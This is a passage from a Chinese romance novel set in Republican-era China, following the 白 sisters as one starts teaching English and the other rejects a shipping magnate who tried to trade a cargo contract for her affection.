缪老师像给这话刺了一下,脸上不大服气的样子,可又不敢当面顶嘴,只好挤了个笑脸退让一步:“秦校长哪里的话,我一个大男人,把自尊和责任看得很重呢,做不出这样的事。” 这大概算是个小小的敲打,把人送到教师办公室后,秦校长便赶去开会了。 第一堂课早已经开始,是以此时办公室里的老师不多,大多上课去了。缪老师拿手指轻轻敲着白瑾璎的桌子,微笑着说:“白老师,我们两个负责的是高年级的洋文课,统共六个班级一人一半,大概一天是两到三节课的量。排课不多,不过事关升学考试,责任也是很重大的。” “还有么,”他沉吟一下,商量道,“刚才走过教学楼时想必你也看见了,班级是按编号一溜儿排的,要是同时教一班和六班,跑动起来就很麻烦。所以我的意思,不如就按教室位置来分,我教一二三,你教四五六,你看怎么样?” 白瑾璎初来乍到,当然不懂其中有什么弯弯绕,本着少和同事起冲突的心态,便答应下来。 “好!好!”缪老师一连说了两句好,可见心情之愉快,对白瑾璎完全不吝笑容了,“白老师这么爽快,比从前的陈老师可好过太多了。大家同是负责高年级的同事,往后有什么不懂的,只管来问我就是。” 说着,往白瑾璎正对面的座位上一坐,替她誊抄了一份四五六三个班级的课表。 下课铃打过后,便是办公室“轮班换血”的时刻,缪老师喜气洋洋地拿着教案走了出去,应当是有课要上,白瑾璎还没有,便继续留在办公室里。不一会儿,一位三十多岁略显敦实的男人擦着一头的热汗进来了,除了教案,他腋下还夹了两块木质的三角板,想必是位数学老师了。 那人见办公室来了新面孔,还是位年轻美丽的小姐,一下便猜到了是新任职的洋文老师,很热情地过来打招呼。 白瑾璎和他互通了姓名,知道这数学老师姓吴,在简单讲明了自己的情况后,吴老师当即拍着大腿“啊呀”了一声,有一种眼看着别人傻乎乎上当受骗的扼腕,问:“小缪真是这样分?他管一二三,你管四五六?” 白瑾璎怔怔地点了点头。 吴老师原本就沁着细汗的脸又给气红了,忿忿不平道:“他这是明摆着欺负你呀!你不知道,我们学校是按入学考试的成绩分的班级哩,一班的学生成绩最好,越往后越次之。你想,他把头三个班级捏在手里,到底学生聪明好学呀,哪怕他教得差一点,考试成绩总不会差的,这不都成他一个人的功劳了吗?” “他教洋文,本来不碍我什么事,不过小缪这个人,心眼子真是不少。”吴老师用鼻子重重出一口气,“原先陈老师在的时候,好歹还是一三五、二四六的分法,我瞧得出来,他那时就嫉妒小陈手上拿着一班,也嫌弃六班拖他的后腿。这下好了,坏的烂的,都一股脑塞给你了。” 白瑾璎这才明白,何以缪老师在自己答应提议后,这样的喜形于色了。 不过她早就想过,当老师,绝没有只教好学生而不教差学生的道理,不然,“教”的意义从何体现?往极端了说,谁都是由不懂慢慢学起的,要是只想通过好学生来彪炳自己教学的价值,那岂不是谁也不愿做启蒙的那一个?往后还哪儿来的学生可教呢? 白瑾璎道:“成绩好一点坏一点,这我倒不怕,我的任务,不就是把不会的学生教到会吗?” 吴老师咂摸着这一句话,总算笑了起来,道:“你有这个想法,那就比小缪高明出不少了。不过我还是要提一句,我也是同时在教一班和六班的,在头脑和聪明劲上,确实是有些差距的。” 白瑾璎看了看他的三角板,忍不住笑了一声,道:“吴老师,咱们俩是隔行如隔山呢。学数学势必要有点聪明的,可学洋文更多需要耐心,我自认洋文学得很不坏,可在念中学时,数学也需要受别人的补习。” 吴老师瞪圆了眼睛,半晌才恍然道:“对,对,倒是这个道理!那我就没什么可叮嘱的了!” 刚要转身,又一拍脑袋站住了,“哦,还有最要紧的一点,六班这个最末的班级,可想而知是男学生更多些,心思不在读书上又散漫的,或者纯粹脑筋不大够用的,这都还好,唯独有个混世魔王,总把课堂整得鸡飞狗跳,你可要当心。” 这实在是个重要消息,白瑾璎当即虚心求教:“是哪一个呢?” 吴老师一谈起这,又是一副恨铁不成钢的样子,道:“那学生叫孙立学,偏偏最不好好学,上课瞌睡讲闲话,那都是小的;最怕课上和你抬杠,哄抬得全班乱乱哄哄。要真这样,你只管叫他去教室外头罚站,连带着他那两个小跟班,徐克行和梁小山一起,你清静了,他也觉得自由。” 白瑾璎道了谢,默默将这三个名字记下。 当天下午正有一节六班的课。白瑾璎对于教学内容并不担心,却真有些害怕班里的闹事分子,毕竟她最不擅长的就是吵架和管束别人。想不到走进教室,倒是很风平浪静的气氛,一点名才发现,吴老师报上名字的三个学生,一个也不在座位上,显然是逃课出去玩了。 白瑾璎心里多少松了口气,在名册上标记一笔后,便按计划开始上课。 她先做了个自我介绍,又用几句洋文问话摸了摸学生的底子,确实是不大高明,发音磕磕绊绊不说,甚至连一些基础文法都没有厘清。这要在缪老师看来,可不就是块想要一脚踢开的绊脚石吗! 白瑾璎却不是那么功利的性格,她是沉静又不徐不疾的,连说话都是慢条斯理,有耐心把最简单的文法知识掰碎了讲,若是有学生答题正确,她也不吝啬褒奖。 整一间教室的学生,她能明显感觉出其中几个对洋文是抱有热情的,另外,原本趴在后排瞌睡的几个男同学里,竟也有几个在中途重新支起了脑袋,这对她而言也未尝不是一种鼓舞。 当第一天的工作结束时,白瑾璎的心里竟也生出了一点成就感。 她脚步轻快地走出校门,没有往搭乘电车的方向走,反而是沿着右手边的马路一直往前。走到路口处,刚想扬手招一辆人力车来,忽听一辆洋车在紧挨着自己的马路上鸣了一声喇叭。 白瑾璎原以为是自己挡了人家的道,便往旁边让了一让,视线无意间一瞥,倒觉得那辆车格外的眼熟。 与此同时,洋车主人也从里头摇下车窗,目光温和地望着她道:“赶着去哪里?我跟着你开了一路,你都没有发现。” 30-40 第31章 第 31 章 这个甜味,我倒是很喜欢…… 这位开车的先生, 除却蒋牧城,还能是谁呢? 白瑾璎吃惊不小,随即惊喜的笑脸便浮现在脸上, 道:“蒋二哥!你怎么在这儿?海关总署距离这里可不近, 难不成是特意来看一看我吗?那我太过意不去了。” 她会这样问, 实在没有夹带什么私心。自从父亲出事之后, 蒋牧城在方方面面都格外帮忙, 之前搬家的时候,不也是他安排了汽车和佣人搬箱子运行李吗?自己来第三中学教书,他也是知情的,上班头一天来探望探望, 很像是这么个温厚的大哥哥会做出来的事。 但于蒋牧城而言, 在听见白瑾璎问是不是来看她时, 到底心旌摇曳了一瞬,可看她脸上是一派纯洁天真的样子, 又不得不把那钟摆一般摇动的心, 给攥住了。 蒋牧城笑了一笑, 说:“说我是特意来看你, 我要惭愧了。是今天下午刚好在这附近办事,离你上班的地方这样近, 怎么也不能不过来看看吧。” 白瑾璎抿着微笑, 冲他谢道:“那也算是特意来看我了, 谢谢蒋二哥。” 蒋牧城握着汽车方向盘的手指无意识地攥紧一下, 问道:“你要去哪里呢?据我所知,往椿樟街的电车不在这个方向,是走错了吗?那也不要紧,我总归把你送回家的。”说着, 人已经从车里下来了,替白瑾璎拉开了另一边的车门。 白瑾璎也不是头一次坐蒋牧城的车子,从前白瑾瑜嫌蒋牧城古板无趣,办年轻人的小聚会小活动时从来不叫他。但白瑾瑜总有看顾不上的时候,譬如他们两个在外头偶遇上了,或是蒋牧城来白公馆做客时,刚好听见白瑾璎说要去哪儿,他也会主动提出护送一程,前前后后算一算,总也坐过不少回了。 故而白瑾璎也不扭捏,很自然地坐进副手座,赶在蒋牧城发动汽车前道:“不要调头,我想去一趟春华大饭店再回家,它们家最近新开了西点档口,据说专门挖角了上海国际饭店的点心师傅。我是第一天上班,总要买点什么回去,表示庆祝的意思。” 蒋牧城点了点头,一面稳妥地开车,一面问她今天发生的事。 听着白瑾璎在边上絮絮叨叨地说话,扭头看时,又可以见她整个人放松地坐在自己的副手座上,那实在是一种令人沉醉的光景。以至于他还没有所觉呢,春华大饭店标志性的尖角房顶,已经映入眼帘了。 将汽车停在路边走近一看,只见除了正中间气派的玻璃转门不断进出客人外,在建筑的右边又另开了一个大窗口,做了一面玻璃的陈列柜,一条队伍正从窗口的位置排出来,一路绕到春华饭店的侧面。 白瑾璎看见长队,先就觉得自己没有来错,果不其然,走得越近,越能闻到一阵浓郁的奶油香气,迎面扑得人满脸。 待两人在队尾站定,白瑾璎忍不住感叹:“从前虞妈老说,文清轩的蟹壳黄烧饼多少出名,去得晚了,少说要排半个钟头的队。你看这里大排长龙的样子,比文清轩也不遑多让了吧?” 蒋牧城是大户人家的少爷,从来也不必自己排长队买东西,故而对排队一刻钟或半个钟头没什么数,只说,“总归上海的点心师傅请得不亏。” 正是这时候,前排的队伍骚动起来,还带着一点似惊似喜的呼声。蒋牧城起先不知道是怎么一回事,下意识往白瑾璎身边贴近了一步,肩膀交错着,做出一种支持保护的姿态,及至这时,事态也已经明了了。 原来是穿了白围裙戴白帽子的点心学徒端了盘子出来,一路请排队的客人试吃新推出的招牌点心。 他喊着:“上海鼎鼎大名的蝴蝶酥哦,请了国际饭店的老师傅烘烤的,客人试一试?”一人分一片,一路下来,很快走到了蒋牧城和白瑾璎跟前,再看托盘里,点心却只剩一片了。 那学徒打量了眼前这对男女一眼,见两人站得这样近,就快要抱上了呀!再细看一眼,可不就是一对金童玉女? 心道,这还不简单!伸手便将那像蝴蝶又像鸡心形状的小点心一拗,一人给了一半,一边重新挂上热情洋溢的笑脸,道:“先生小姐慢吃,要是觉得好,就多买点带回家去。”说罢,端着盘子又回去了。 那学徒动作太快,白瑾璎还没反应过来呢,手里已经被塞了半块点心,听着他又是“试试”又是“慢吃”的,下意识就把点心往嘴里送。等咬了一半,才意识到自己这是和蒋牧城分吃了一块点心啊。 她心里总觉得难为情,像她从小受的教导,从来都不兴和别人分东西吃的,又不是买不起,整个让给人家,自己另买就是了。最多最多,就是小时候和白瑾瑜掰着分过饼干,是以对她而言,分东西吃总是件很亲密的事。 白瑾璎一时间竟扭捏起来,捏着剩下的那一半,怎么都下不了口。 反倒是蒋牧城出声提醒她:“你不吃吗?不好吃?”因为站得近的缘故,总觉得有呼吸的热气拂过耳廓。 白瑾璎的心跳仿佛乱了一拍,欲盖弥彰似的把余下的一股脑送进嘴里,抬头去看蒋牧城,发现他神色自若地早已经吃完了。 兴许真是自己想得太多呢?一块西点而已,又不是白瑾璎眨了眨眼,要把脑子里的怪念头赶跑似的,小声问:“你觉得怎么样?” 蒋牧城的眼睫慢慢地一眨,那里头似有若无地透出一种餍足的愉悦,他想到点心上的糖粒子咬在牙齿间微硬的口感,视线里是白瑾璎挽在耳后的长头发和精致洁白的耳廓,于是觉得那甜滋滋的味道一路顺着喉咙往下,落入到五脏六腑。 分明是一副好心情的模样,嘴上却说:“太甜了。” 队伍走得快,很快就轮到了他们俩。白瑾璎对着玻璃柜子点了点蝴蝶酥,说:“我要两袋。”又扭头问蒋牧城道,“你想吃什么,我一并买给你吧?你说蝴蝶酥太甜了,咸味的葱油饼干好不好呢?” 蒋牧城这一次倒没有抢着会账,只是思忖了一会儿,也把手指点在她很近的旁边,说:“那么,我也要两袋吧。” 白瑾璎疑惑道:“不是说太甜吗?我以为你不喜欢呢。” 蒋牧城便望了她一眼,微笑着说:“这个甜味,我倒是很喜欢。” 白瑾璎似懂非懂,那到底是喜欢甜,还是不喜欢甜呢?大概人的口味,都很高深莫测吧。这样想着,便把刚才报出的两袋,改做了四袋。 里头负责装袋的学徒刚把点心送了过来,往档口外一张望,啊呀,可不就是刚才那对分了一颗“爱心”的男女吗!他的殷勤劲头便又上来了,推荐道:“四袋都买蝴蝶酥啊?不如换两袋别的如何?一起吃还能多尝几个味道哩,很好的!” 白瑾璎被他说得窘迫非常,只能一个劲地说“不用”,细声细气地推辞,“我们就喜欢这个”同时拿出钱夹子飞快地会了账。 那学徒看着两人一番反应,还默默引发一阵感慨哩:看这先生气度不凡,打扮得也气派,怎么买块饼都要小姐掏钱?如今这时代,真是大变样了呀! 这一段插曲总算过去,白瑾璎提着点心回家时,家里的姐姐妹妹都已经到齐了。白瑾琪恐怕是闻到了奶油香味,一下就从楼上跑了下来,看见桌上的纸袋子就道:“蝴蝶酥!我见过广告画报呢,说春华大饭店新雇了国际饭店的师傅!” 在她身后,白瑾瑜才慢悠悠地晃下来,说:“快吃吧,谁也比不上你懂流行。” 白瑾琪冲她撅了噘嘴,手上麻利地拆开纸袋,用手指衔一片喂进嘴里。她那活泼泼兴奋的样子,和早前蔫蔫的白瑾琪浑然是两个人,连白瑾璎都看出来了,问:“怎么这么高兴,有什么好事不成?” 白瑾琪灿灿一笑,抬着小下巴得意道:“那可不!我进了学校的戏剧社了!不光如此,程巧书想联合钱瑞云对我来个落井下石,偏偏我给了她们一个好看!” 这一听就是女同学之间的瓜葛,程巧书啊钱瑞云啊,连名字都和中学时没变化。白瑾璎微笑着不说话,和旁边的白瑾瑜默契地对视一眼,彼此眼里都有几分无奈兼好笑。 但白瑾琪能快活起来,实在是件好事。 热闹地吃过晚饭又说了会儿话后,三人便各做各的事去。中学的洋文课程简单,白瑾璎不花多少时间就备好了第二天用的教案,紧跟着琢磨起外文书的译稿,这才是需要费脑筋的事呢。 她一个人住在三楼,四周静悄悄的听不见人声,很难觉察到时间的流逝。这一看,不知不觉就到了夜里十点。 白瑾璎转了转脖子,心想着这就睡下吧,提一提手边的水壶,才发现已经空了,于是便想下楼倒壶水来再睡。她披了件开衫推门下楼,经过二楼时,遥遥看见客厅那处的地板上映出一道又细又长的人影。 白瑾璎吓了一跳,壮着胆子才敢探头再看一眼,却是披着睡袍的白瑾瑜静静靠在窗台边,手指间闪着一点橙黄色的火光,那是她夹着一支香烟。 白瑾瑜显然也听见了动静,扭过头,冲她微微地一笑。 那笑容和身影实在有一种孤独又脆弱的意味,白瑾璎也顾不上倒水,随手将水壶往不知哪个桌上一放,走上去轻声问她:“这么晚了不睡,还抽起烟来,怎么了吗?” 白瑾瑜的视线淡淡扫过手里细长的女士香烟,半晌笑了笑,道:“我不大抽的,不过求一点心理上的安慰罢了,既然你来了,也就用不到这香烟了。”手上一用劲,已将香烟摁灭了。 橙黄色的光点消失了,便只剩那静默无声的月光透过窗户,撒了两人满身。 白瑾瑜便是在这月光之中叹了口气,问:“瑾璎,你说,我的生意要是做不下去了,怎么办呢?” 第32章 第 32 章 据我知道的,东家很看重…… 背靠大树好乘凉, 这道理从白瑾瑜预备做外贸生意开始,就很清楚。故而在白齐盛去世,白家式微之际, 要和船务公司续下一份合同会有何等之难, 她也早有了心理准备。 无论如何, 总要尽力一试。只是见到船务公司的闫处长特意提了公文包, 又架上一副玳瑁眼镜, 做一副公事公办的模样后,也知道那希望是很渺茫了。 白瑾瑜做的是外贸饰品和服装生意,顾客乃是首都圈子里有钱的太太小姐们,将漂亮的发夹手表、礼帽礼服, 都汇总到一家门店之中, 省去了女士们东奔西跑搜罗货品的时间不说, 店里给出的搭配,也是国外最时兴的, 令人眼前一亮。 是以, 她的货品在精不在多, 譬如一个模样别致的珊瑚发夹, 至多进货不超过五个,丝袜兴许多些, 礼服则要更少。有钱的小姐们是常办聚会的, 试问, 谁愿意在聚会上见到别人和自己穿戴的一样呢? 这些货品林林总总加在一起, 也未必能填满渡轮的一个货仓,可想而知,和船务公司的租赁合同就很难商谈了。别家用到货轮的,哪个不是一船一船的靠岸下货, 哪里会专程为她这样的“散客”腾出位置? 从前因为白齐盛的缘故,船务公司对她很是优待,因为运货时总会有两三间空仓,便让记录员特意记下,用来装白瑾瑜的货品,价格上更是等同于半租半送,甚至会避开和大宗商品同船,就怕搬运的工人手上没轻没重,把她的东西磕着碰着一点。 如此优渥的条件,现在再想享有,那是绝不能够了。 白瑾瑜听着闫处长解释着各项租赁条件,诸如货仓通常是半船半船来租,每艘渡轮往返海外的频次也不一样云云,也就明白,这次协商是没什么交情可讲了。干脆也拿出了对公的姿态,很谦逊地问道:“贵司这样广博的人脉,一定有例外的,落单的货仓未必没有,您不方便明说,我很明白。不如我们来谈谈价格,我虽只租单间货仓,却多加三成的费用,怎么样呢?” 闫处长露出一副为难的神态,叹气道:“白小姐,不是我故意给您钉子碰,实在是没有这样的先例。唉,我也和您透个底吧,东家的朋友里,有只租用三间货仓的,您要是也租三间,那未必不能谈下。” 白瑾瑜心里飞快地盘算着盈亏:三间货仓相比半船,缩减了近一半,但相比单间,哪怕按多加三成的费用来算,也还是超出太多。如若进货数量保持不变,自己费心费力不说,赚头太过有限;如若进满三个货仓不成不成,自己这是赶着流行跑的生意,最忌讳囤货,风险太大了。 这样一想,已经把这一条路给堵死了。 合同签不成了。白瑾瑜心里固然忧虑,面色却没有表现出来,像是对这一结果淡然接受了似的。 对比她的淡然,闫处长倒显得很局促,原因无他,他今天可是带着任务来的哩!照他的想法,眼看着合作无望,白小姐总该软磨硬泡地多问几句,那自己就可以说“白小姐,何必舍近求远呢?”,这话题不就顺下去了吗?可偏偏人家一句话也不问哩! 闫处长兀自懊恼,可心里却觉得白瑾瑜年纪轻轻,有这样一份从容,是很令人敬佩的。 他推了推鼻梁上的眼镜,自嘲般道:“原本我还想,今天要是表露出不予合作的意思,大概总要受到一番胡搅蛮缠,如今看来,我是大大地想错了您,太惭愧了。” 白瑾瑜倒是很释然地一笑,客客气气道:“做生意也不是玩游戏,我怎会胡搅蛮缠?何况闫处长百忙之中愿意抽空见我,已经很帮忙了,绝不会有意为难我,我又怎么好让您难做呢?这一次合作不成固然可惜,要是往后再有机会,我可还要叨扰您的。” 闫处长再说不出一句话来,内心里,一面对这位白小姐的练达赞叹不已,一面又隐隐觉得,自己东家的算盘恐怕打得不妙。只是被派下的任务不能不完成,只好硬着头皮道:“我听说,白小姐和我们东家也是朋友哩。” 白瑾瑜一下没反应过来,问道:“东家?说的是孟西洲孟先生?” 见闫处长满意地点了点头,才称赞道,“哦,是。孟先生人很周到,我父亲办白事的时候,他还来表示过慰问,我实在很感激他。” 闫处长见白瑾瑜对孟西洲的评价不低,悬着的心可算放下了一半,脸上也绽开笑花来:“啊呀,那交情可不算浅呀,既然是熟朋友,您和我东家当面谈一谈,可不比和我谈有用得多吗?据我知道的,东家很看重白小姐哩!” 闫处长一身轻松地告辞了,像甩下了什么重担似的,倒让白瑾瑜对他的话狐疑起来。 闫处长何以突然提到孟西洲?那句说孟西洲看重她的话,又作何解?她和孟西洲大概算得上是朋友,可往年商谈合约时都是在外头,从没在他的船务公司里露过面,何以让一个处长觉得,孟西洲这个东家很重视自己? 再想想细节之处,闫处长在回绝自己后显得很不自在,设若他早早推测自己和孟西洲有点交情,何不直接在一开始就建议自己去找孟西洲?省得他再唱一回黑脸。 可要是反过来想呢?设若是孟西洲要借由闫处长,引得自己去找他呢? 这就又有一个问题:他到底是想和她合作,还是不想?要是他愿意继续合作,哪里还用闫处长出动?自己大笔一挥,这事儿也就定下了。可要是不想,兜了一个圈子,不还是叫闫处长把他“供”出来了么?除非 白瑾瑜边走边想,想到这“除非”的时候,正好一脚踏进了椿樟街的家门。她被这一闪而过的念头击中,才恍然惊觉自己出了一身的凉汗。 除非。 除非他根本也不关心合作与否,合同不过是鱼钩,是诱饵,而闫处长则是长线。他非但要引得自己去找他,还要用闫处长做不到而他能做到这一事实,叫她牢记住这个人情。 白瑾瑜下意识打了个寒噤,忽然想到很久之前,孟西洲开车从乔治饭店把自己送回家的那一天。 也是奇怪,那之后发生了多少事,又是丧礼又是乔迁的,以为这大厦倾塌的瓦砾早已把这些昔日的小事掩埋过去了呢,这会儿竟一下就从记忆里冒出头来。孟西洲那时满脸的不甘心,他在不甘心什么?不甘心和自己出双入对的是柳世新吗? 白瑾瑜心里乱成一团麻,她很少有这样焦虑又举棋不定的时候,忍不住在客厅里来回地踱步。好几次,她人已走进了电话间,刚要伸手去够那电话筒,想一想,又收回了。 直到时间过去了大半个钟头,白瑾瑜仰靠在沙发上,望着客厅墙上挂着的月份牌,恍然觉得:时间过得真如流水一样快,曾经以为挨不过去的日子,一晃眼也就过去了,自己如今白白地踟蹰不决,时间可是永远地过去了! 她猛地吁出一口气,自嘲般低笑一声,自言自语道:“爸爸不在了,可我也不能丢了他的脸!” 说罢,整个人都痛快地行动起来,最先做的,就是往孟公馆拨去一个电话。孟西洲要自己去找他,那就去找他好了,要是连他想说什么想做什么都不敢知道,那未免太过怯懦。 那一边,电话接得极快,几乎是铃一响就被接起了,一个佣人问要找谁。 白瑾瑜报了孟西洲的名字,那佣人便请她稍等。实则也没有等多久,很快电话便易主,对面传来孟西洲久违的声音:“白小姐,怎么打来给我了呢?” 白瑾瑜对他的装傻充愣不予置评,口吻如常道:“有事想要请教,不知道今天方不方便?” 对面像是想不到她会直言发出邀请,倒静默了几秒,随即答应下来。两人便约了下午四点钟,在从前去过的一家咖啡厅碰面。 孟西洲到得早,在白瑾瑜被西崽引上二楼的时候,他已然在一处靠窗的座位上坐定了。见到她后,温和从容地点头致意,一面示意她就坐,一面微笑着道:“白小姐,好久不见了。我知道你最近一定事务缠身,也不敢打扰你,一直等你的电话。我想我们的情谊总归不错,你要是有什么需要帮忙的,总不会不来找我吧?” 白瑾瑜微笑着看他。 孟西洲的神情温和亲切,和从前似乎没有任何两样,可她就是看得出来,他的眼神里笑容里,整个举手投足里都带着一份笃定自得,仿佛一切都和他所料不差,计划顺利,猎物上钩。 白瑾瑜心里突然有一丝负气,脸上却还是盈盈浅笑着,说:“谢谢孟先生赏光,我知道你忙。” 孟西洲凝视了她一眼,口吻轻快地问道:“突然约我出来,有什么事要谈呢?我要好好听一听,这事值不值得我跑一趟。” 白瑾瑜却没有被他的愉快所感染,只略微提了提嘴角,开门见山道:“我没有事要谈,却有事要问,孟先生,你有什么目的呢?或者说,你要开出什么条件呢?” 孟西洲被她的问话刺中了一般,眸光变换之间,牵起的嘴角落下,那微笑也就渐渐隐没了。 第33章 第 33 章 他已经摊开了手中的大网…… 孟西洲一直在等, 白公馆的丧礼结束之后是,在那之前亦是。毋宁说在白公馆遭逢变故之后,他那颗因等待而酸楚焦躁的心, 反倒获得了极大的缓解。 究其原因, 绝不是因为他乐于看见白瑾瑜受苦, 相反在丧礼上见到她形容苍白的样子, 他心疼坏了;而是这场变故令柳世新的心志不坚暴露无遗, 就好似士兵临阵脱逃,留下一处无人把守的窗门,让他得以窥见可乘之机。 孟西洲自己参加了白公馆的丧礼,当然知道柳世新没有来, 不论出于什么原因, 他在白瑾瑜心中的印象, 势必打一个折扣。是以丧礼之后,他没有对琐事缠身的白瑾瑜多加打搅, 反而将目光投向了柳世新, 于暗中观察他。 不久后的某一日, 柳世新一改以往的悠闲从容, 显出一副大受打击的样子来,不光答应了和钱永善一道喝酒, 连别人问起密斯白, 也被他愤愤然地低吼回去, 活像自己遭受了怎样的辜负与背叛。 那之后据说很是荒唐了几天, 也间或有风声传到自己这里,说柳世新到底被姓钱的带去了北油车弄云云,孟西洲只是笑了笑说:“别闹得太难看,影响船务公司的风评就好。” 难道还指望他大发善心, 阻止他误入歧途吗?笑话! 他心里甚至感到一阵窃喜,柳世新已然沾湿了鞋,那就休想再和白瑾瑜有重归于好的一天。 总算总算,挡在他爱情之路上的障碍得以铲除。 孟西洲计算着白瑾瑜同自家公司之间的合约日期,又特意嘱咐了闫处长该如何措辞,当天便守候在家里,等着白瑾瑜的电话。可又不能显得太过急迫,便又专程找了个佣人,让她先接。其实谁能晓得呢?在佣人接电话的当口,自己就坐在旁边的沙发上呀。 孟西洲的心因为渴盼而热烈跳动着:他们也有太久没有见面了,自己于逆境之中伸出援手,总能给她留一个不坏的印象吧? 这想法多么好,以至于在白瑾瑜问他“有什么目的”时,他有一瞬间乱了方寸,隐约意识到这计划大概有哪一环不对,事情未必会按照自己设想的那样进展。 但也只失态了那么一瞬而已,孟西洲重新扬起嘴角,很真诚似的问:“这话是什么意思,白小姐?不是你约我出来的吗?” 白瑾瑜回望着他:“我有什么事,你太清楚了。你有意让闫处长为我指一条明路,不就是想让我来见你吗?我本可以不来,可我实在想听一句实话,如今这世道,已经太难听到一句实话了。” 她果然知道,她果然看透! 孟西洲心中震颤,她哪里是会乖乖走入圈套的猎物?他早应该知道她的不同。 计谋一旦被识破,那就只有宣告失败一途了,可不玩手段不设圈套,猎人又能怎么办呢?在猎物面前坦诚地张开大网,说:我之所以想抓你,并不为伤害你,而是实在喜欢你,想要亲近你吗? 孟西洲沉默,那笑容到底收敛了起来,垂眸看向自己轻敲着桌面的指尖。 恰是这时候,西崽端来了热咖啡,为两位客人一个斟上一杯。孟西洲拿起洋铅的小夹子,为白瑾瑜的那一杯加糖块,两块,柳世新能记住的,他同样也记住了,他又差在哪里呢?心里不免生出一丝怨气。 可一想起她刚才那句话中怅怅然的叹息,又觉得那怨气俨然已被一阵苦涩盖过:他妄图用计谋来换爱情,已经做得不地道,要是到现在还用漂亮话来搪塞,自己哪里还有一点求爱情的诚心? 孟西洲抬眼看向白瑾瑜,他平日里总带着三分笑意,现在倒放沉了嘴角,很严肃的样子:“我要你做我的女友呢?” 他自嘲似的一笑,“闫处长想必也告诉过你,我对朋友很慷慨通融,何况是女友呢?不要说单租一间货仓,就是白送给你,又有什么要紧?” 他已经摊开了手中的大网,再没有一点遮遮掩掩。 白瑾瑜的眸光闪烁一瞬,哪怕事先设想过这个可能,亲耳听见的一刻,还是受到不小的震惊。她叹了口气道:“多谢你厚爱,我是无福接受了。” 孟西洲在等她答复的时候,手里无意识地攥着印花桌布的一角,此刻手心徒然攥紧,连带着把桌上的杯盘都扯出一阵轻响,邻桌有人投来好奇的一瞥,他也不在乎,只管拿执拗的目光盯着白瑾瑜不放,问:“为什么?因为我算计了你一下吗?这是我不对。” 白瑾瑜苦笑了一下,道:“你不光是算计了我,还把爱情和利益,捆死在一起了。我这算是,和你谈爱情才换来了合同,还是签过合同之后要交付出爱情作为代价呢?我过不去心里那道坎,好像我整顿旗鼓,还没有迎敌,就吃了一场败仗。” 孟西洲心里卷着懊恼的狂澜,一下子后悔自己不该诚实这一次,瞧?有什么好果子给自己吃?爱人不会因为自己的坦诚就钻进网兜。一会儿又恼恨自己惯于尔虞我诈的性格,一开始就不该用诡计对她,让爱情失去了纯洁的基础。 他咬着牙,硬是挤出一点苦涩的微笑,试图说服她:“白小姐,瑾瑜,你也是留过洋的人,看待感情应当开明的多,爱情里掺杂一点利益有什么要紧?我反倒不信这世上有完全不沾世俗利益的、纯洁无瑕的爱情。若是爱情还能带来其他获益,那不是很可喜的局面吗?” 最后深吸了一口气,道:“好,不管爱情还是利益,我们都不谈,你只说,你对我,真没有一点喜爱吗?” 当时当刻,孟西洲想必饱受着内心的斗争,可这一番斗争,白瑾瑜在挂出电话之前,早就经受过了,彼此谈到这里,她甚至感到了几分释然。 微笑道:“我固然对你有喜爱,可我也很自爱,若硬要排个先后,说白了,撇开孟家的船务公司,首都总还有其他可合作的机会;撇开你,人生也自有其他精彩之处。可要是罔顾我自己的意愿,往后就再没有心灵上安宁的日子了。” “换个角度来说不一样吗?我受了你这一算计在先,心里哪里咽的下这口气?即便答应了和你谈爱情,真能把你看作纯粹的爱人吗?这就是问题所在呀。” 她拿起咖啡杯饮了一口,终于卸下了重担似的,很松快地道:“所以还是这样吧。闫处长说我是你的朋友,那末,这大概也等同于你的意思,我可不敢占你太大便宜,等我把手上这小生意做到用得上三间货仓的时候,再来和你谈吧。” 白瑾瑜举了举杯子,那意思似乎是:尽管协商不成,作为朋友的“交情”还是长存的。用坦荡大方的笑容,将此前略显紧绷的气氛化解了。 离开时也极为痛快,说:“是我约你出来的,当然由我会账。不要争,不要争,两杯咖啡而已,还想和我换一个人情吗?”她本意只是想俏皮一句,孟西洲却犹如惊弓之鸟,再不敢逆着她来,也不敢再多说一句。 多说多错,他已经走错一步,生怕在歧路上踏得更远。 他看着白瑾瑜离开时的身影,多么潇洒恣意,甚至带着一点神气。就是这分神气,让他一下子回想起在英国第一次见她时的情景,那种热烈又灵动的生命力一下便跃然脑中了。 她从来就没有变过,他的迷恋又怎么可能消退? 这真有一点可悲,孟西洲心想,他分明刚吃了一场爱情的败仗,可是心中对于爱情的火苗,反倒烧得更旺了。 另一边,白瑾瑜虽然丢开了精神上的负担,可现实的问题与麻烦却亟待解决。 白天和家人热热闹闹吃饭时,那种忧虑自然被欢乐的气氛冲淡一些,可一到了夜深人静的晚上,种种忧思漫上心头,这也就是她一个人点了烟,默默靠窗沉思的原因了。 第34章 第 34 章 人人往下比,谁来奋斗呢…… 白瑾璎对她的生意经一窍不通, 头一回看见白瑾瑜这样愁眉不展的样子,不由地揪着心问:“真有这样糟吗?” 白瑾瑜叹了口气,惨惨地一笑, “哪怕说不上糟, 也绝对不容乐观。要找一家靠谱的船运公司太难了, 孟家的船好, 更重要的是, 他家的船每年往返海外的次数够多,对于我这个追着潮流赶的行当而言,时间可太要紧了。你想,一样是英国流行的货样, 等到外国杂志都运到了国内, 洋货行也上了货, 你再摆进橱窗,客人早就丢了一大半了。” 她解释得浅显, 白瑾璎也就听明白了, 发愁道:“那怎么办?和船务公司的合同谈不下来, 除了找别家轮渡货运公司, 还能有什么法子呢” 她嘀咕着,忽而冒出一个主意, 激动得整张莹润小脸都亮了起来:“啊呀!你和船务公司签不成合同, 和同样运货的其他商家谈条件, 不行吗?你说别家动辄签下半条船、乃至几条船的货仓, 总有个一间半间的剩余吧?你出稍高一点的价格,与其白白空着,何不转租给你呢?” 白瑾瑜很是欣慰地看了她一眼,却还是微微地摇头:“这个办法我也想过, 只是你没做过生意,大概不了解。你问人家租下整条船的货仓,真能全用上吗?告诉你吧,那是一定能的。你是没见过那些烟草茶叶商人,恨不得把货物堆到天花板上去,一样租了这块地方,谁不是拼了命地用到极致?偶尔确实有供货不足的情况,但那是说不准的,要是专等着这些偶尔的时候,我的生意,也不要做了。这是其一。” 她自己也不想讲这些烦人的生意经,但见白瑾璎听得既专注又懵懂,对于这个从未涉足过的行当,满脸都是求知若渴的神态,也就淡笑着讲了下去。 “第二么,就是卸货的工人。能匀出一件货仓转租的,自己势必租用更多,那大约做的就是销量很大的大宗商品了,是以工人们在卸货的时候往往粗手粗脚,横竖磕了碰了也不会坏,丢在地上浸湿了,整船的货损失两三捆包,也不足为惜。可我的货太金贵了,碰坏一样,或是被人摸走一两件,大笔的银钱白白就流走了。” 